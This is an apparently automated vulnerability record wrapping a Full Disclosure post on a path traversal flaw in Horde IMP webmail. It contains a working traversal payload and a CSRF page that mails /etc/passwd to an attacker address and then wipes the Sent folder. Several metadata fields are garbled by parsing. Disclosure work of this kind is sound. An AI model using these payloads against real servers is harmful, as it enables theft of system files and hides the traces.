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{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "CVE-2026-58451 - Horde",
          "vendor": "Cve",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "\u3164evan via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "this is my first time sending to a mailing list so ive chosen\nsomething easy. here goes:\n\nSummary: Horde Groupware\u2019s IMP Webmail solution contains a path\ntraversal/local file inclusion vulnerability which could be exploited\nto escalate privileges or bypass authentication (through CSRF if\nunauthenticated).\n\nthe vulnerability is in here:\n\n} elseif (strcasecmp($node-\u003etagName, \u0027IMG\u0027) === 0) {\n                /* Check for smileys. They live in the JS directory, under\n                 * the base ckeditor directory, so search for that and replace\n                 * with the filesystem information if found (Request\n                 * #13051). Need to ignore other image links that may have\n                 * been explicitly added by the user. */\n                $js_path = strval(Horde::url($registry-\u003eget(\u0027jsuri\u0027,\n\u0027horde\u0027), true));\n                if (stripos($src, $js_path . \u0027/ckeditor\u0027) === 0) {\n                    $file = str_replace(\n                        $js_path,\n                        $registry-\u003eget(\u0027jsfs\u0027, \u0027horde\u0027),\n                        $src\n                    );\n\n                    if (is_readable($file)) {\n                        $data_part = new Horde_Mime_Part();\n                        $data_part-\u003esetContents(file_get_contents($file));\n                      ...\n\nas seen, we control $file, which is just the src in \u003cimg src=\"\"\u003e. to\nget past the checks to hit our file_get_contents sink, we can just\nsatisfy the stripos check. our (elementary) exploit is thus:\n--\n\u003cimg src=\"https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\";\u003e\n--\nthis is likely very chainable with any other existing primitive to\nachieve rce on horde IMP. for example, heres an easy csrf chain:\n\n--\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\n\u003cbody\u003e\n    \u003ch1\u003eyo\u003c/h1\u003e\n    \u003cscript\u003e\n        var p1 = new FormData();\n        p1.append(\u0027to\u0027, \u0027john () evil gov\u0027);\n        // land in spam\n        p1.append(\u0027subject\u0027, \u0027hai\u0027);\n        p1.append(\u0027html\u0027, \u00271\u0027);\n        p1.append(\u0027message\u0027,\n            \u0027\u003chtml\u003e\u003cbody\u003ebye\u003cimg\nsrc=\"http://targ/horde/js/ckeditor/../../../../etc/passwd\";\u003e\u003c/body\u003e\u003c/html\u003e\u0027);\n\n        p1.append(\u0027identity\u0027, \u00270\u0027);\n        p1.append(\u0027priority\u0027, \u0027normal\u0027);\n        p1.append(\u0027request_read_receipt\u0027, \u00270\u0027);\n        p1.append(\u0027save_sent_mail\u0027, \u00271\u0027);\n        fetch(\u0027http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos;, {\n                method: \u0027POST\u0027,\n                body: p1,\n                credentials: \u0027include\u0027,\n                mode: \u0027no-cors\u0027\n            })\n            .then(() =\u003e {\n                console.log(\"* bye\");\n                setTimeout(() =\u003e {\n                    var p2 = new FormData();\n                    p2.append(\u0027mbox\u0027, \u0027U0VOVA\u0027); // b64 SENT\n                    // delete\n\nfetch(\u0027http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos;, {\n                        method: \u0027POST\u0027,\n                        body: p2,\n                        credentials: \u0027include\u0027,\n                        mode: \u0027no-cors\u0027\n                    });\n                }, 2000);\n            });\n    \u003c/script\u003e\n\u003c/body\u003e\n\n\u003c/html\u003e\n--\n\nPATCH:\nupdate to horde imp 7.0.1 for the patch.\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:59Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/8"
        },
        {
          "url": "http://targ/horde/js/ckeditor/../../../../etc/passwd\""
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/emptyMailbox\u0026apos"
        },
        {
          "url": "http://targ/horde/services/ajax.php/imp/sendMessage\u0026apos"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://webmail.foo.com/js/ckeditor/../../../../../../etc/hosts\""
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/8"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[fulldis] CVE-2026-58451 - Horde Groupware IMP path traversal vuln",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0021",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/8",
            "automated": true,
            "contentSha256": "83cf4dad4368e78dfc8982e302ba2f7764e6d48049bcc80c6dac2893337b83d0",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/8",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-02T17:04:19Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:20Z",
    "dateUpdated": "2026-09-09T10:11:59Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0021"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}